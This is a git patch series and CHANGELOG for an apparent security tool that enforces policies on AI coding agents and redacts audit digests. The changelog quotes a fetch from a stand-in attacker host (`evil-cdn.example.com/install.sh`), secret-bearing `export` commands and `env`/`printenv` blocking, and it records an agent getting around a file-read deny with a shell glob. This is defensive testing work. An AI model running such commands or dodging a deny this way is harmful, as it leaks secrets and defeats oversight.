"unknown" is not "broken", and on macOS it is the ORDINARY reading. + // `daemonServiceStatus` needs `sudo -n` to interrogate a LaunchDaemon, and a + // Mac with no cached sudo credential — the overwhelmingly common state — + // answers "unknown" for a service that is running perfectly. Treating every + // non-`running` value as a fault told those users "nothing will run on the + // timer yet" in the same breath as confirming their schedule was on. The + // dashboard already special-cases it; this is the same call. + if (status === "unknown") return; if (!isDaemonSupportedPlatform()) { process.stderr.write( `\n ${pink("!")} The background service is not available on this platform,\n` + diff --git a/src/hooks/daemon-service.ts b/src/hooks/daemon-service.ts index 8fa00d6e..e447f2ad 100644 --- a/src/hooks/daemon-service.ts +++ b/src/hooks/daemon-service.ts @@ -16,7 +16,7 @@ import { unlinkSync, rmSync, } from "node:fs"; -import { homedir, tmpdir, uptime, userInfo } from "node:os"; +import { homedir, tmpdir, userInfo } from "node:os"; import { resolve } from "node:path"; import { execFileSync } from "node:child_process"; import { hookLogWarn } from "./hook-logger"; @@ -1808,7 +1808,8 @@ export function daemonServiceStatus(): DaemonServiceStatus { * worse, silently mis-parses on the few it recognises — a settings page * claiming the daemon started three hours in the future is a worse failure than * one that says nothing. `ActiveEnterTimestampMonotonic` is microseconds since - * boot, locale-free, and pairs with `os.uptime()` to give the epoch time back. + * boot, locale-free, and pairs with a reading of the SAME clock to give the + * epoch time back. * * An EPOCH time rather than a duration, so the page keeps counting without * re-fetching: a duration computed on the server is wrong the moment it renders. @@ -1830,7 +1831,10 @@ export function daemonStartedAtMs(): number | null { ) .toString() .trim(); - return startedAtFromMonotonic(Number(raw), uptime(), Date.now()); + // `process.hrtime.bigint()`, not `os.uptime()`. See the note on the + // function below: the two count suspend differently, and mixing them is + // what produced "up 30d" for a daemon started yesterday. + return startedAtFromMonotonic(Number(raw), Math.floor(Number(process.hrtime.bigint()) / 1000), Date.now()); } catch { return null; } @@ -1840,20 +1844,32 @@ export function daemonStartedAtMs(): number | null { * The arithmetic behind `daemonStartedAtMs`, split out so it can be tested * without a systemd on the machine running the tests. * - * `activeEnterMonotonicUs` is microseconds since boot; `hostUptimeSecs` is - * `os.uptime()`. systemd writes 0 for a unit that has never been activated, and - * a stamp AHEAD of the host's uptime cannot be true — both mean "no answer" - * rather than a number, because a wrong uptime is indistinguishable from a right - * one to the person reading it. + * BOTH arguments must be readings of the SAME clock. systemd's + * `ActiveEnterTimestampMonotonic` is `CLOCK_MONOTONIC`, which on Linux STOPS + * while the machine is suspended; `os.uptime()` reads `/proc/uptime`, which + * KEEPS COUNTING through suspend. Subtracting one from the other therefore adds + * every second the laptop ever spent asleep to the daemon's apparent age — a + * machine that suspends nightly read "up 30d" for a service started yesterday. + * The old `< 0` guard caught only the impossible direction; this error is + * always positive, so nothing rejected it. + * + * `process.hrtime.bigint()` is `CLOCK_MONOTONIC` on Linux (libuv's `uv_hrtime`), + * the same clock systemd stamped with, so the subtraction is between two points + * on one timeline. + * + * systemd writes 0 for a unit that has never been activated, and a stamp ahead + * of the current reading cannot be true — both mean "no answer" rather than a + * number, because a wrong uptime is indistinguishable from a right one to the + * person reading it. */ export function startedAtFromMonotonic( activeEnterMonotonicUs: number, - hostUptimeSecs: number, + monotonicNowUs: number, nowMs: number, ): number | null { if (!Number.isFinite(activeEnterMonotonicUs) || activeEnterMonotonicUs <= 0) return null; - if (!Number.isFinite(hostUptimeSecs) || hostUptimeSecs <= 0) return null; - const activeForMs = hostUptimeSecs * 1000 - activeEnterMonotonicUs / 1000; + if (!Number.isFinite(monotonicNowUs) || monotonicNowUs <= 0) return null; + const activeForMs = (monotonicNowUs - activeEnterMonotonicUs) / 1000; if (activeForMs < 0) return null; return Math.round(nowMs - activeForMs); } diff --git a/src/hooks/fp-reset.ts b/src/hooks/fp-reset.ts index 8f4ac2a4..cf7f67aa 100644 --- a/src/hooks/fp-reset.ts +++ b/src/hooks/fp-reset.ts @@ -910,7 +910,12 @@ export function readCarriedLegacyCredentials(): FpCredentials | null { return Object.keys(creds).length > 0 ? creds : null; } -export function resetHome(from: number): ResetOutcome { +/** + * @param to The layout this step LANDS on, which is not always the current one. + * Defaults to `LAYOUT_VERSION` for a direct call, but the registry passes the + * step's own `to` — see the stamp at the end of this function. + */ +export function resetHome(from: number, to: number = LAYOUT_VERSION): ResetOutcome { // BEFORE the deletions, so a file that is mid-move is never one the reset // then walks over. const migrated = migrateConventionPolicies(); @@ -959,7 +964,22 @@ export function resetHome(from: number): ResetOutcome { // straight out of the same file. Both paths end at the same key, and only one // of them represents something a person typed. if (telemetryOptOut) updateConfig({ telemetry: { enabled: false } }); - writeVersionFile(); + // The step's OWN target, not LAYOUT_VERSION. + // + // Every step used to end stamping the current layout, which was harmless + // while every chain was one hop. On `1 → 3 → 4` it means the first step + // marks the home layout 4 with its files still at layout 3, and the window + // between that stamp and the next step completing is a real one: a SIGKILL, + // an OOM or a power loss inside it leaves a home that reads as `current` + // forever. `detectLayout()` short-circuits on the marker, so no later + // command re-examines the landmarks, and `auth.json` sits at the root while + // layout 4 reads `audit/session.json` — a machine silently signed out with + // its session on disk and nothing that would ever move it. + // + // `runMigrations` also repairs an over-stamp in its `catch`, but a killed + // process runs no catch. Stamping the truth in the first place is what makes + // that repair a second line of defence rather than the only one. + writeVersionFile({ layout: to }); return { removed, migrated, activity, policyConfig, spooled, from }; } diff --git a/src/hooks/migrations.ts b/src/hooks/migrations.ts index 7c5b14eb..5a47dd4d 100644 --- a/src/hooks/migrations.ts +++ b/src/hooks/migrations.ts @@ -90,14 +90,14 @@ export const MIGRATIONS: readonly Migration[] = [ to: 3, describe: "layout 1 → 3: carry the decision log out of cache/, keep the policy config in place, drop the layout-1 credential files", - run: () => resetHome(1), + run: () => resetHome(1, 3), }, { from: 2, to: 3, describe: "layout 2 → 3: carry config.toml and credentials.toml into JSON, move custom-policies/ back up into policies/, nest the policy config at the root", - run: () => resetHome(2), + run: () => resetHome(2, 3), }, { from: 3, @@ -186,7 +186,27 @@ function migrateToLayout4(): ResetOutcome { renameSync(from, to); } catch { // EXDEV, or a rename racing something holding the file open on Windows. - copyFileSync(from, to); + try { + copyFileSync(from, to); + } catch (err) { + // Remove the PARTIAL destination before giving up. + // + // `copyFileSync` is not atomic: ENOSPC or a kill part-way through + // leaves a truncated `to` on disk. The source is still intact at this + // point, so nothing is lost yet — but the next attempt takes the + // `existsSync(to)` branch above, reads that fragment as the + // authoritative layout-4 file, and deletes the good original. A + // half-written session file is not a session, so the retry would have + // signed the machine out using the very branch that exists to protect + // the credential. + try { + rmSync(to, { force: true }); + } catch { + // Nothing better to do. The throw below still leaves the home at + // layout 3, so `deleteAuth`'s sweep and the backup both still apply. + } + throw err; + } rmSync(from, { force: true }); } migrated.push(`${basename(from)} → audit/${basename(to)}`); @@ -208,7 +228,12 @@ function migrateToLayout4(): ResetOutcome { // The same stamper every other write of this file goes through. Hand-rolling // the JSON here would drop `daemon`, which nothing on this path touches and // which `daemonVersionSkew()` reads on every CLI command. - writeVersionFile(); + // + // This step's own `to`, spelled out for the same reason `resetHome` takes + // one: a step must never mark the home as a layout it did not reach. Here + // they happen to be equal, and writing the literal is what keeps them equal + // by intent rather than by coincidence when layout 5 arrives. + writeVersionFile({ layout: 4 }); return { removed: [], migrated, activity: [], policyConfig: [], spooled: [], from: 3 }; } From 22b4bd993585b79177dcc4d4168d1e0f7d6fa541 Mon Sep 17 00:00:00 2001 From: NiveditJain Date: Sat, 15 Aug 2026 14:43:08 +0530 Subject: [PATCH 24/24] Close the test gaps, and stop the changelog contradicting itself MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit **Nothing pinned that a bare `failproofai audit` sends nothing.** It is the load-bearing privacy promise — `audit --help` and the docs both make it, and `reportHarm` is the only thing in the audit that can reach the network holding a transcript excerpt — and `grep -rn reportHarm __tests__/` matched only the file that invokes it directly. The new tripwire asserts there is exactly ONE call site and that it sits inside runScheduledAudit, which is the shape that would break: the manual and scheduled paths share almost everything else. Structural rather than behavioural because driving runAuditCli starts a dashboard and scans the real machine; the repo already reads committed sources this way for the dogfood configs and the Rust/TS harness keys. **submitAuditReport had no test at all.** The rollout note's claim — an older server 404s, reportHarm returns {kind:"failed"}, nothing throws — was asserted against `submitMock.mockRejectedValue(...)`, which proves reportHarm's try/catch and says nothing about what the client does with a 404. The 58 deleted lines in api-server-client.test.ts were the only tests that had ever touched that layer. Now covered: 404, a proxy's HTML 502, 401, success, and that the body carries no address (the server resolves it from the token, so a machine must not be the thing deciding where a digest goes). **A dry-run assertion was tautological**: it checked `` `${planMigration(2).length} step(s) would run` `` — deriving the expected count from the function whose output the report describes, so it held for any chain including an empty one. The steps are named literally now, so it fails when layout 5 lands, which is exactly when the report starts describing a chain nobody checked. Also pins the consent stamp against the whole-file config rewrite, in both directions: a rewrite must not drop it (that would stop a machine's digests the next time any unrelated setting changed) and must not invent it (a key on disk implying somebody was asked). Replaces the stale comment above that test, which described `emailEnabled` — a key this same PR removed. The changelog was contradicting itself inside one version section, because it recorded the branch's history rather than the release: one entry announced deleting /settings while two others rebuilt it, and another introduced `email_enabled` as a separate switch that a later entry removes. Collapsed to what actually ships, and the new fixes are recorded. Co-Authored-By: Claude Opus 5 Claude-Session: https://claude.ai/code/session_015VjTTZmp2SuMaGS56qPZHf --- CHANGELOG.md | 499 +++++++++++++++++- .../audit/report-harm-boundaries.test.ts | 124 +++++ __tests__/hooks/fp-home.test.ts | 31 +- __tests__/hooks/migrations.test.ts | 14 +- 4 files changed, 658 insertions(+), 10 deletions(-) create mode 100644 __tests__/audit/report-harm-boundaries.test.ts diff --git a/CHANGELOG.md b/CHANGELOG.md index 9b272696..be54a525 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -18,14 +18,22 @@ - Give scheduled audits their own page again, and leave the audit report to be a report. The controls sit at `/settings`, reached by a gear in the header between the refresh controls and reach-us — an icon rather than a fourth nav tab, because the tabs are views of DATA (projects, policies, audit) and this is machine configuration; putting it in that row would have claimed it was another place to look at results. Section 05 of the audit keeps one job and is now **spread the audit**: the share card and nothing else. A report should not end in a settings form. The panel is built from what the service actually has — a state, a timer, an identity — on the app's existing tokens and existing chrome (`.panel` and its corner brackets, `.btn-press` and its hard pixel offset), with one drawn element: a **schedule tape** showing where this machine sits between the last scan and the next, because that is a POSITION and no number shows a position at a glance. It renders nothing without two real ends, since a machine that has never run a scheduled scan is not inside an interval and a rail claiming otherwise would be decoration. **One switch, not two.** `audit.email_enabled` is gone: scheduling and mailing are the same decision — the reason to put a scan on a timer is to be told what it found — so two keys could only ever disagree, and "signed out with the timer on" becomes a state DERIVED from the session rather than stored. That state is named on the page ("scans continue, digests are paused") rather than prevented, because auth gates setting the timer up and never the machine's ongoing work: a refresh token expiring must not silently switch off a background feature somebody configured months ago. The page is **server-rendered from the config** rather than fetched after mount — the client-side version painted "off. nothing runs and nothing is sent." and then flipped to the truth, so a page whose whole job is to say whether a security feature is on spent its first frame saying the opposite. It reads local files, so there was never a latency reason to defer it. (#698) -- Merge the scheduled-audit controls into the audit page and delete `/settings`. The two questions a person has after reading their audit — "can this happen automatically" and "will it tell me" — were answered on a separate page they had no reason to visit; the controls now sit under the report they act on, in section 05, as two panels: the scan settings at 1.3fr against the share card's 1fr. `/settings` is removed rather than redirected, because it held nothing else, and it leaves the navbar with the three pages that are actually destinations. The panel carries the daemon's state as a pill, because "scheduled scanning is on" is not the same claim as "scheduled scanning will happen", and a panel that hid the difference would present a stopped service as a feature that simply does not work. **Reminders are gone entirely** — `/api/auth/reminder`, the cadence buttons, `scheduleReminder`/`cancelReminder`, the reminder half of `/api/auth/status`, and the `readReminder`/`writeReminder` store. The api-server deleted `/v0/reminders` in the same release, so the client calling it would 404; more to the point the machine now audits itself and mails a digest when it finds harm, so there is nothing left to nudge anyone about. `audit/reminder.json` is retired to `legacy` and cleared by the next reset — the layout-4 step still MOVES `next-audit.json` there rather than deleting it, because a migration that destroys something a person chose is a different act from one that relocates it, even when the thing is obsolete. The email switch is separate from the scan switch and is the only one that needs a sign-in; turning it on while signed out opens the shared dialog and resumes, and the server action refuses an anonymous enable rather than storing a switch that reads as on and does nothing. Signing out turns emailed reports off with it, since the alternative is a machine that scans, finds something, and has nothing to send it with — discoverable only by noticing no email ever arrives. (#698) +- **Remove re-audit reminders entirely** — the reminder API route, the cadence buttons, `scheduleReminder`/`cancelReminder`, the reminder half of the auth status route, and the reminder store. The api-server deleted its reminders endpoint in the same release, so the client calling it would 404; more to the point the machine now audits itself and mails a digest when it finds harm, so there is nothing left to nudge anyone about. The reminder file is retired to `legacy` and cleared by the next reset — the layout-4 step still MOVES it there rather than deleting it, because a migration that destroys something a person chose is a different act from one that relocates it, even when the thing is obsolete. Section 05 of the audit keeps one job as a result: **spread the audit**, the share card and nothing else. A report should not end in a settings form. (#698) -- Report harmful findings from a scheduled audit, so the machine can tell you what its agent did instead of asking you to go and look. A new `[audit] email_enabled` — a SEPARATE switch from `auto`, because `audit --help` promises the scan "runs fully offline — no account or network required" and that must stay true for anyone who wants scheduled scanning and nothing else. Off by default, like `auto`, and for a stronger version of the same reason: the failure direction is a machine mailing an account nobody pointed it at. **The window is applied per event, not through `--since`.** `--since` filters on transcript MTIME, which is right for deciding which files to open and wrong as a window: a session left open for a month has a fresh mtime, so `--since 7d` hands back that whole transcript including month-old events, and the first digest anyone received would describe everything their agent had ever done as though it happened that week. The scan stays unfiltered and the window is applied here, against the timestamps `AuditCount` already carries. Where activity straddles the boundary the report counts the EXAMPLES inside it rather than the policy's total — the cache stores counts, not event lists, so there is nothing to subtract; undercounting is the safe direction because the server's threshold reads these, and it can delay a digest but never invent one. **Harm is `deny` + `sanitize`**, plus `protect-env-vars` by hand: `severityForBuiltin` derives severity from the NAME PREFIX, so a policy that blocks `env`/`printenv` outright reads as hygiene, and its whole subject is an agent reaching for the environment — inheriting a scoring heuristic's blind spot into a security digest would be the wrong kind of consistency. Examples are redacted before they leave, against `SECRET_PATTERNS` — now exported from `builtin-policies.ts`, so blocking and redacting share one definition of "secret" rather than growing a second list beside it that eventually disagrees. Masking runs BEFORE path-shortening, because shortening can cut a path mid-token and a credential sliced in half stops matching its own pattern and ships as a fragment. `~/.failproofai/audit/machine.json` holds the machine id and the digest watermark, both `identity` class: regenerate the id and the server sees a new machine on every logout, reset the watermark and the next report re-covers months. The id is minted fresh rather than reusing `state/telemetry-id`, so opting into a digest never links the anonymous telemetry person to a verified address. The whole path runs in the audit CHILD, never the daemon — refresh rotation is theft-detecting, and keeping the token inside the audit lock is what stops a cross-process race from revoking every session a user has. Scheduled runs only, and nothing in it can fail a scan: every error is an outcome, so a dead network or an expired session leaves the local audit working and its dashboard correct. (#698) +- Report harmful findings from a scheduled audit, so the machine can tell you what its agent did instead of asking you to go and look. Gated on `[audit] auto` — ONE switch, since the reason to put a scan on a timer is to be told what it found — plus `[audit] reports_consented_at`, a stamp written by the same call in both opt-in paths. That second key is a consent RECORD rather than a second switch, and it exists because `auto` changed meaning: through 1.0.0 it meant "scan this machine locally on a timer" and needed no account and no network, so reading it as agreement to upload transcript excerpts would have started every already-scheduled machine mailing on upgrade. Off by default, and a grandfathered machine keeps scanning and sends nothing until somebody opts in again. **The window is applied per event, not through `--since`.** `--since` filters on transcript MTIME, which is right for deciding which files to open and wrong as a window: a session left open for a month has a fresh mtime, so `--since 7d` hands back that whole transcript including month-old events, and the first digest anyone received would describe everything their agent had ever done as though it happened that week. The scan stays unfiltered and the window is applied here, against the timestamps `AuditCount` already carries. Where activity straddles the boundary the report counts the EXAMPLES inside it rather than the policy's total — the cache stores counts, not event lists, so there is nothing to subtract; undercounting is the safe direction because the server's threshold reads these, and it can delay a digest but never invent one. **Harm is `deny` + `sanitize`**, plus `protect-env-vars` by hand: `severityForBuiltin` derives severity from the NAME PREFIX, so a policy that blocks `env`/`printenv` outright reads as hygiene, and its whole subject is an agent reaching for the environment — inheriting a scoring heuristic's blind spot into a security digest would be the wrong kind of consistency. Examples are redacted before they leave, against `SECRET_PATTERNS` — now exported from `builtin-policies.ts`, so blocking and redacting share one definition of "secret" rather than growing a second list beside it that eventually disagrees. Masking runs BEFORE path-shortening, because shortening can cut a path mid-token and a credential sliced in half stops matching its own pattern and ships as a fragment. `~/.failproofai/audit/machine.json` holds the machine id and the digest watermark, both `identity` class: regenerate the id and the server sees a new machine on every logout, reset the watermark and the next report re-covers months. The id is minted fresh rather than reusing `state/telemetry-id`, so opting into a digest never links the anonymous telemetry person to a verified address. The whole path runs in the audit CHILD, never the daemon — refresh rotation is theft-detecting, and keeping the token inside the audit lock is what stops a cross-process race from revoking every session a user has. Scheduled runs only, and nothing in it can fail a scan: every error is an outcome, so a dead network or an expired session leaves the local audit working and its dashboard correct. (#698) - Gather everything the audit owns under `audit/`, as layout 4. `auth.json` becomes `audit/session.json`, `next-audit.json` becomes `audit/reminder.json`, and `state/audit-schedule.json` becomes `audit/schedule.json`, so one directory answers "what does the audit know about this machine" the way `policies/` answers it for enforcement. Two new paths join them, and the split between them is the design rather than tidiness: `session.json` holds the tokens and is `user-typed`, while `machine.json` holds this machine's report id and its digest watermark and is `identity`. Both fields have to outlive a sign-out — regenerate the id and the server sees a brand-new machine on every logout, reset the watermark and the next digest re-reports months of history as though it just happened — so they cannot live in the file a sign-out deletes. **`auditDir` is now deliberately absent from `HOME_CLASSES`.** It was classified `derived` wholesale, which was correct for a directory holding two caches and became a trap the moment a credential moved in: `resettablePaths()` is a filter over that table, so a reset and every future migration would have deleted the user's tokens. It is MIXED now and classified per-file, exactly like `state/` already is, and the `COVERED_BY_PARENT` guard records it as the second entry mapping to itself. The migration is three moves, each a rename with a copy fallback because `audit/` and the home root land on different filesystems once `$HOME` is a network mount and `rename(2)` returns `EXDEV` there. A missing source is success — most homes never signed in, so two of the three files are absent on the majority of machines — and an existing destination wins, because re-running the step is exactly what happens when a later step in the same chain throws and the user retries. Nothing is deleted to make room: the ONLY file the step removes is a legacy source whose destination already holds the authoritative copy, and it is removed rather than left at the root because a second copy of a bearer credential is a liability. A failure to remove it propagates rather than being swallowed, so the home stays at layout 3 and retries instead of being marked migrated with the credential still sitting there. `session.json`'s mode is reasserted to `0600` afterwards rather than assumed, because a rename preserves it and the copy fallback inherits the umask. All three are backed up first: `auth.json` is a live credential that, unlike every other file in that list, was never on a delete list and so has never had a copy taken before a migration touched it. `next-audit.json` is MOVED rather than retired even though the scheduled-audit work replaces reminders, because a migration that deleted it before that work landed would drop a cadence a person chose with no way back if the follow-up slipped. (#695) ### Fixes +- **Stop an existing `[audit] auto` being read as consent to send findings off the machine.** `reportHarm` gated every network send on that key alone. Through 1.0.0 it meant "scan this machine locally on a timer" and nothing more: no account, no network, the server action that wrote it had no auth check at all, and the toggle's own copy said in as many words that nothing leaves the machine. Harm digests gave the same stored bit a second job, so any machine with `auto` already true and a session on disk — which the reminder and invite flows already created, and which the layout-4 step carries forward intact — would have uploaded redacted transcript excerpts and mailed a digest on its first scheduled run after upgrading, having agreed to nothing of the kind, with the only notice a stdout line that on a headless box goes to the journal. Sending is now gated on `[audit] reports_consented_at`, stamped in the same write as `auto` by both opt-in paths — the CLI's `--schedule` after its sign-in, and the dashboard toggle after its `whoAmI` check, looking at the panel that enumerates what gets sent. Not the second switch the config's own comment rejects and never drawn as one: `auto` is what a person sets, this records the disclosure they saw, and nothing can set one without the other. A grandfathered machine keeps scanning locally, sends nothing, and gets a line saying how to turn digests on. (#698) + +- **Stop the digest shipping assigned secrets verbatim, and fix two redaction misfires.** `protect-env-vars` is hand-added to the harmful set and its dominant trigger is `export VAR=…`, whose example is the whole command — while `SECRET_PATTERNS` matches nine vendor-prefixed formats, a JWT, a literal `Authorization: Bearer` and a fixed non-HTTP scheme list, none of which is an assignment. So `export DATABASE_PASSWORD=…`, `export AWS_SECRET_ACCESS_KEY=…`, `npm config set _authToken=…` and `https://user:pass@host` all left the machine unchanged, and `export` is ubiquitous in agent sessions. `maskAssignedSecrets` covers `NAME=value` where the name says credential, inline URL credentials on any scheme, and curl's `-u user:pass`, keeping the name and masking only the value so the digest still says WHICH credential was exposed. It runs last of the three passes, so a vendor pattern keeps first refusal on anything it can label precisely. These live in the redactor rather than the shared `SECRET_PATTERNS` deliberately: `sanitize-*` BLOCKS a tool call, so a name-based rule there denies work the user wanted, while redaction only removes characters and can afford the wider net. Also: every prefix in `SECRET_PREFIXES` was unanchored, so `sk-` matched inside ordinary words — `kubectl get pods -n risk-scoring` redacted to `… -n ri[REDACTED: OpenAI API key]`, inventing a credential the digest then reported and destroying the token that said which command ran; and path shortening deleted a URL's HOST as though it were a directory, so `curl https://evil-cdn.example.com/install.sh` came out `https:/…/install.sh` with the domain — the entire security decision in that finding — removed. (#698) + +- **Warn about the daemon on the command that strands it.** This release moves the home to layout 4, and `failproofaid` calls `refuse_foreign_layout()` before it binds its socket: a binary built against layout 3 exits rather than serve a layout-4 home. That function shipped in 1.0.0, whose `paths.rs` says `LAYOUT_VERSION = 3`, so every already-installed daemon refuses once the marker moves — and nothing refreshes the binary on upgrade, since `refreshDaemonToCliVersion` has one non-test caller and there is no postinstall. The first ordinary CLI command migrated the home and armed the failure while nothing looked wrong, because the running daemon read the marker once at startup and kept serving from memory. It landed at the next reboot: the unit exits nonzero, `Restart=on-failure` trips the start limit, the service latches `failed`, and a daemon-configured machine that cannot reach its daemon denies every tool call across all 11 CLIs — with `healDaemonFlag()` unable to rescue it, since a layout-refusing unit reads as `stopped`, which it deliberately excludes. The branch that performs the migration was the one path emitting no daemon hint at all, and that hint told everybody a stale daemon "is slower to notice an upgrade, not broken" — false across a layout bump — while pointing at `failproofai config` rather than `failproofai update`. It now branches on `daemon.configured`. (#698) + +- **Eleven more from a multi-agent review pass**, each verified against the code before it was touched. **The migration's session backup outlived the migration**: `migrationsDir` is `identity` class so no reset removes it, and `deleteAuth()` only knew the live path — a dashboard sign-out, a 401 auto-delete and `failproofai reset` all left a working bearer and refresh token in `backup-layout3/`, to be carried into every dotfile backup and container image after it, with no CLI sign-out at all on the headless boxes this targets. A clean chain now prunes it (guarded on the file being readable at its new home), a FAILED chain keeps it, and sign-out sweeps any straggler. **A dead session read as a working destination**: `--schedule` printed `reports to
` and exited 0 with the expiry unread, so a lapsed or revoked token meant digests configured, destination shown, and nothing delivered for up to a full interval. **Each migration step now stamps its own target** rather than `LAYOUT_VERSION`, so a chain killed between steps cannot leave a layout-3 home marked current with its session unreachable forever. **A failed copy no longer leaves a partial destination** for the retry to read as authoritative and delete the good original behind. **The report window is clamped against its own end**, so a backwards clock jump cannot make `from` later than `to` and silently drop every finding forever. **`extractCode` stops eating the sentence's digits** — the prompt invites pasting the whole line, and `Your failproof code is 123456 (expires in 10 minutes)` became `12345610`, which passes the validator and burns an attempt. **A Mac is no longer told its healthy daemon will not run** (`sudo -n` with no cached credential answers "unknown", not "broken"). **Offline is told apart from expired**, since `whoAmI()` returns null for both and the user was handed a code prompt that cannot succeed either. **`/settings` can recover from a dead session** — it said "sign in" and offered no control to do it with. **The daemon's start time stops counting sleep**, having mixed `CLOCK_MONOTONIC` with `os.uptime()` so a nightly-suspending laptop read "up 30d" for a daemon started yesterday. And **`/settings` is gated by `FAILPROOFAI_DISABLE_PAGES` again** — the rewrite dropped the check the other pages carry and put the gear outside the navbar's filter, on the page that shows the address digests go to and can sign the machine out. (#698) + - Five defects from an adversarial pass, each demonstrated before it was touched. **The digest went permanently quiet on the machines with the most to report.** A policy straddling the window falls back to counting its in-window examples, and the audit keeps at most three per policy in transcript-walk order — so on a machine months into its history those three are routinely all old, a policy that fired an hour ago scored zero, and the row was dropped. `firstSeen` never moves back past the watermark, so it was dropped from every later report too: not a delayed digest, a feature that silently stops working the longer you use it. Where `lastSeen` itself falls inside the window, that timestamp IS a real in-window event, so the count floors at one rather than vanishing — "never invent a hit" intact. **A failed migration could strand a home as "current" forever.** Every step ends at `writeVersionFile()`, which stamped `LAYOUT_VERSION` rather than the step's own `to` — harmless while every chain was one hop, and a trap the moment this release made one two. On `2 → 3 → 4` the first step stamps 4, so a `3 → 4` that throws leaves `detectLayout()` reporting `current`: nothing ever retries, `auth.json` stays at the root while layout 4 reads `audit/session.json`, and the machine is signed out with its own session still on disk. `writeVersionFile` now honours the `layout` its signature always accepted and its body silently ignored, and a failed step puts the marker back at `step.from`. **A pasted OTP killed the sign-in.** The api-server validates the code at 4..12 characters, so pasting "Your code is 123456" out of the email returns `validation_error` rather than `invalid_code` — and the retry loop only re-prompts on `invalid_code`, so it aborted and cost a fresh email. The prompt is bounded at both ends now, matching the server. **One failed refresh blanked a healthy settings console.** `reload`'s catch closed over a `view` frozen at first render, so on a page the server could not seed it stayed null forever and the next transient failure — a tab hide fires the same listener — replaced a working console with an error. **An interval edit was silently dropped**: 7 → 14 → 7 compared the second write against a stale mirror, decided nothing had changed, and skipped it, leaving the input reading 7 and the config saying 14. Also `audit_share_section_shown` latched before the auth probe resolved, recording `signed_in: false` for every view ever taken. (#698) - Four from review, each verified against the code before it was touched — nine other findings were stale or cosmetic and are left alone. **The redactor emitted the username.** `/home/sidd` shortened to `~/…/sidd`, keeping the name as the basename immediately after the `~` whose entire job is to stand in for it: the one path guaranteed to identify a person was the one path spelled out, and it went to the api-server in `harmful[].examples` and into the digest. The home directory is now `~` and nothing else. Fixing it surfaced a second defect underneath — `underHome` used a bare `startsWith`, so a home carrying a trailing slash failed to match itself, and `/home/u2` matched `/home/u`; the boundary is checked now, once, outside the replace callback. **A policy straddling the window's upper edge reported hits from after it.** `wholly` tested the lower bound alone, so a policy that began inside the window and was still firing after it closed sent `count.hits` — every hit, including the ones past `to` — while its examples were correctly filtered to the window. Those hits then landed inside the NEXT window too, since the watermark advances to `to`, and were reported a second time from one occurrence. Both edges are checked; a straddle at either falls back to the examples actually inside, which undercounts but never invents. **`FAILPROOFAI_AUTH_DIR` upgrades signed people out silently.** It is a documented env var naming a directory outside the managed home, and every path in the layout-4 step comes from `FAILPROOFAI_HOME` — so the override directory was never visited, the file stayed `auth.json`, layout 4 read `session.json`, and the session vanished with no message: scans still running, digests quietly stopped. The step migrates that directory too, so one naming scheme holds regardless of how the process was configured. **A failed cleanup marked the migration successful.** When the destination already existed the step dropped the layout-3 original and swallowed any error, then carried on to stamp layout 4 — leaving `auth.json`, a live bearer token, at the home root where nothing would look at it again and nothing would ever clean it up. It propagates now, which leaves the home at layout 3 and retries on the next command, exactly as `runMigrations` documents a failed step to mean. (#698) @@ -46,6 +54,10 @@ - Give cron one short line per job. A crontab entry must be a SINGLE line — the format has no continuation — so the docker invocation could not be wrapped, which made each entry ~350 characters: unreadable in a crontab, and mangled by every chat client it was pasted through on the way to whoever sets the box up. `integration-suite/local/run-job.sh` now holds the invocation and the crontab reads `$HOME/fp-canary/run.sh canary`. It also OWNS ITS OWN LOG, which closes a real trap: cron evaluates a `>>` redirect BEFORE the command runs, so a missing `logs/` directory meant the job silently never started — and the container could not create the directory its own redirect needed. mkdir then redirect, in that order. (#694) +### Docs + +- Bring the audit and dashboard pages to what shipped. The feature landed with `docs/` untouched, so `docs/cli/audit.mdx` still told users to enable scheduling by hand-editing `audit.auto: true` — the exact key whose meaning this release changes — on a page asserting the audit runs "fully offline, no account or network required", while none of the four new flags appeared anywhere in docs and the schedule file was documented at its layout-3 path. It now documents the flags, enumerates what a digest actually sends, carries the redaction caveat rather than implying a guarantee, and explains what an upgrading machine should expect. `docs/dashboard.mdx` documented the deleted reminder route and had no section for the rebuilt settings page at all. (#698) + ### Dependencies - Pin `nanoid` to 3.3.18 through `overrides`, closing GHSA-2v37-7h3g-55p8 (CVSS 8.2 — custom generators can loop indefinitely when size is zero). Not introduced here: the lockfile is untouched by this branch, `main` passed the same scan at 04:57 and this branch failed at 16:21, because the advisory's affected range was published in between. It arrives transitively through `postcss`, which asks for `^3.3.17`, so the pin satisfies it without moving anything else — two lines of lockfile, 657 entries before and after. An `overrides` pin rather than an `osv-scanner.toml` ignore because that file's own rule is to prefer fixing, and there is a fix. (#694) @@ -55,6 +67,7 @@ - Stop the canary reporting an agent's workaround as broken enforcement. antigravity failed probe B three runs straight, and it was never an enforcement bug: recorded live against agy 1.1.11, `view_file` delivers `AbsolutePath` — which `ANTIGRAVITY_TOOL_INPUT_MAP` already carries — and a deny on it IS honoured (`tool call denied with reason`, sentinel never reaching the model). What actually happened is that `canary-read` identifies the marker by SUBSTRING on the command text. Denied on `cat …/CANARY_MARKER.txt`, the agent retried with `cat …/CANARY_MA*`: the same file, read by a string that no longer contains the matched substring, so the shell expanded the glob and the sentinel landed in the transcript — where a leaked sentinel deliberately outranks our own log claiming a deny. Widening the match closed that family (`CANARY*` globs, and the `cat *` case that names nothing at all) and a later run leaked by yet another route, which is the point: the ways to read a file with a shell are not enumerable. So probe B now tells the two situations apart instead of trying to prevent one of them. A second policy, `canary-read-shell`, denies shell file-reads DURING THE READ PROBE ONLY — identified from the per-probe oracle dir (`FAILPROOFAI_HOOK_LOG_FILE` ends `log-read`), the one per-probe signal a policy can read, since the daemon wire protocol carries no env — and its separate name means a deny under it can never satisfy `read_denied` and score a PASS. A leak that arrives WHILE those shell reads are being denied is now INCONCLUSIVE (unproven) rather than FAIL (broken). The exception is deliberately narrow: a leak with NO shell attempt is still a FAIL, because that is exactly what a CLI ignoring our deny looks like (copilot 1.0.70), and blurring the two would blind this suite to the silent-allow it exists to catch. `read_denied`'s grep grew a trailing space for the same reason — without it `canary-read` also matches the `canary-read-shell` line. Navigation (`ls`, `pwd`, `find` without an `-exec` read) stays allowed, since several CLIs locate the file before reading it and denying that would push CLIs that pass today into INCONCLUSIVE for no gain. Verified: claude and codex still PASS both probes with the detector active, and all six verdict combinations were exercised against the real shell functions. (#694) - Make the canary box a one-command install. Setting it up was four commands, and three of them fail 